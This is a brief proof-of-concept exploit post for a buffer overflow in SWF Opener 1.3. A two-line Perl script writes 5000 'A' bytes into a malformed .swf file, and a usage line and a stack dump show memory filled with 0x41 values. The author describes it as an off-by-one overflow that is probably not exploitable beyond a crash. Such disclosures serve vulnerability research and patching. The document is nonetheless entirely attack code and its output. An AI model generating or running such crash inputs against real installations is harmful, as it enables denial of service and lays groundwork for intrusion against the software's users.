SWF Opener 1.3 Buffer Overflow

`# SWF Opener .swf Off By One / Underground Bof Poc  
# Probably impossible to exploit, but who knows? -_- At least, there still exist Underground stack overflows in :d  
# Version: 1.3  
# http://www.browsertools.net/downloads/SWFOpenerSetup.exe  
# usage perl poc.pl >>xpl.swf  
# In The Stack  
# 0012BBE8 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BBF0 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BBF8 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC00 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC08 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC10 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC18 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC20 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC28 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC30 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC38 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC40 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC48 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC50 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC58 41 41 41 41 41 41 41 41 AAAAAAAA  
# 0012BC60 41 41 41 41 41 41 41 41 AAAAAAAA  
#>>poc.pl  
my $bof="\x41" x 5000;  
print $bof;  
  
  
`